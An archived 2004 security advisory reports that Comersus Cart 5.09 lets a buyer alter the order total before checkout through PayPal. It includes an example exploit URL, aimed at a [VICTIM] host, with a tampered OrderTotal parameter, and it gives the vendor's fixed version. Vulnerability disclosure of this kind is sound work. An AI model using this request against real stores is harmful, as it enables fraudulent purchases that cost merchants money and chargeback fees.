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TUCoPS :: Web :: e-commerce, shopping carts :: hack0360.htm

Comersus Cart Improper Request Handling



Comersus Cart Improper Request Handling

Comersus Cart Improper Request Handling 

Release Date:
July 6, 2004

Severity:
Medium

Vendor:
Comersus Open Technologies

Software:
Tested on Comersus Cart 5.09
Previous versions may also be affected.

Remote:
Remotely executed from any web browser

Technical Details:
The unethical user is able to modify the parameters to change the pricing
before the order is processed through PayPal.  This would allow the
unethical user to place a fraudulent transaction which many times isn't
caught until the product is already shipped OR the shopping cart owner is
charged a chargeback fee when refunding the order.

Example:

http://[VICTIM]/comersus/store/comersus_gatewayPayPal.asp?idOrd er=2002&Order
Total=|102|222|228|22|130|36|209&name=Thomas&lastName=Ryan&address=123+Easy+
Modify+Street&city=New+York&state=NY&zip=10001&country=US&phone=212%2D857%2D
1731&email=tommy%40providesecurity%2Ecom&orderDetails=1x+%23RDHT%2F11+Red+Ha
t+Deluxe+WorkStation+Options%3A+%3D+%2479%2E00%0D%0A2x+%23WME%2F1+Windows+Mi
llennium+Edition+Options%3A+%3D+%24398%2E00%0D%0A1x+%23BPRES2%2F6+So+You+Wan
t+to+Be+President%3F+Options%3A+%3D+%2414%2E39%0D%0A


Vendor Fix:
Update to 5.098
http://www.comersus.com/ 
Use 
http://www.providesecurity.com/research/advisories/07062004-02.asp Copyright (c) 2004 Provide Security Permission is hereby granted for the redistribution of this alert Disclaimer The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are no warranties, implied or express, with regard to this information. In no event shall the author be liable for any direct or indirect damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk.


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